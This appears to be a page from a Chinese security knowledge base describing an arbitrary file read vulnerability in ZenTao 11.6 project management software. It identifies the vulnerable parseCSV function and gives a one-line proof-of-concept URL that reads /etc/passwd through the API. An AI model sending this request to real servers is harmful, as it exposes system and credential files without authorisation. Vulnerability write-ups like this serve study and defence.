menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 157-禅道 chevron_right 003-禅道 11.6 任意文件读取.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    003-禅道 11.6 任意文件读取.md
    1.03 KB / 2021-07-17 00:01:20
        # 禅道 11.6 任意文件读取
    
    ### 一、漏洞简介
    
    禅道项目管理软件是一款国产的,基于LGPL协议,开源免费的项目管理软件,它集产品管理、项目管理、测试管理于一体,同时还包含了事务管理、组织管理等诸多功能,是中小型企业项目管理的首选,基于自主的PHP开发框架──ZenTaoPHP而成,第三方开发者或企业可非常方便的开发插件或者进行定制。
    
    厂商官网:https://www.zentao.net/
    
    而此次发现的漏洞正是ZenTaoPHP框架中的通用代码所造成的的,因此禅道几乎所有的项目都受此漏洞影响
    
    ### 二、漏洞影响
    
    禅道 11.6
    
    禅道开源版 9版本
    
    ### 三、复现过程
    
    漏洞代码位于module/file/model.php中的parseCSV函数
    
    ![](images/15897252597050.png)
    
    
    这里通过上面的思路同样可以对fileName进行赋值,最终返回读取的文件数据
    
    漏洞poc为:
    
    
    ```bash
    http://url/zentaopms_11.6/www/api-getModel-file-parseCSV-fileName=/etc/passwd
    ```
    
    ![](images/15897252791951.png)
    
    
    links
    file_download